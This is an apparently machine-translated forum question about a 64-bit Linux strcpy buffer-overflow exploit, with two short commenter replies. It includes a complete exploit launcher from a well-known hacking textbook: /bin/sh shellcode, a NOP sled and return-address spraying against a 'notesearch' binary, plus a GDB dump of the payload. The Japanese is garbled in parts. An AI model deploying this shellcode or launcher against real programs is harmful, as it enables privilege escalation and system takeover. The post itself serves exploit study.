私は基本的にバッファオーバーフロー攻撃を実行しようとしています。私がいる問題は、64ビットのLinuxでリターンです バッファオーバーフローが64ビットでstrcpyで
を実行するために
- いやそり
- シェルコード:私たちは3つの部分を必要と理解した内容に基づいてアドレスは0x00007fffffffdcf2のようなものです。 Strcpyでは、ヌル文字が見える場合、コピーを停止します。だから、基本的には最後に私endupこのような何かを持つ:
0x7fffffffe233: 0x9090909090909090 0x9090909090909090 0x7fffffffe243: 0x9090909090909090 0x9090909090909090 0x7fffffffe253: 0x9090909090909090 0x9090909090909090 0x7fffffffe263: 0x9090909090909090 0x9090909090909090 0x7fffffffe273: 0xb099c931db31c031 0x6851580b6a80cda4 0x7fffffffe283: 0x69622f6868732f2f 0x8953e28951e3896e 0x7fffffffe293: 0x909090909080cde1 0x43007fffffffdcf2 <<< This line
あなたの代わりに
0x00007fffffffdcf2
の最後の8つのバイトを見れば、私たちは、私は仮定してい
0x43007fffffffdcf2
を持っています43は最初のゴミデータです。ですから、基本的にこれを克服する方法があるのでしょうか、またはバッファオーバーフロー攻撃はstrcpy関数の64ビットシステムでは動作しませんか?
これは、(本搾取の芸術オフに基づいて)私のコードです:
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <unistd.h> char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" "\xe1\xcd\x80\x90\x90\x90\x90\x90"; int main(int argc, char *argv[]) { uint64_t i; uint64_t ret; uint64_t offset=270; char *command, *buffer, *test; command = (char *) malloc(200); test = (char *)malloc(200); bzero(command, 200); // zero out the new memory strcpy(command, "./notesearch \'"); // start command buffer buffer = command + strlen(command); // set buffer at the end if(argc > 1) // set offset offset = atoi(argv[1]); ret = ((uint64_t)(&i)- offset); // set return address for(i=0; i < 200; i+=8) // fill buffer with return address memcpy((uint64_t *)((uint64_t)buffer+i), &ret, 8); memset(buffer, 0x90, 64); // build NOP sled memcpy(buffer+64, shellcode, sizeof(shellcode)-1); strcat(command, "\'"); system(command); // run exploit }
すべてのヘルプは大歓迎されます。
正確なアドレスを知っていれば、ノップスレッドは必要ありません。あなたのリターンアドレスは常に同じですか(ASLRなし)ですか?通常のLinuxでは、あなたのアドレスは多かれ少なかれランダムである(ページの先頭からのオフセットはおそらくはノー)ので、別の実行ではあなたのアドレスはゼロで始まらないかもしれない。 – 12431234123412341234123
計算がオフになっている可能性があります。戻りアドレスが '0x7fffffffe29b'に格納されることはほとんどありません。それは認められるはずです。 – eddiem
@eddiem 0x7fffffffe29bがどこから届いているのですか?私が指摘しているアドレスは、0x00007fffffffdcf2です。 – CPSProgrammer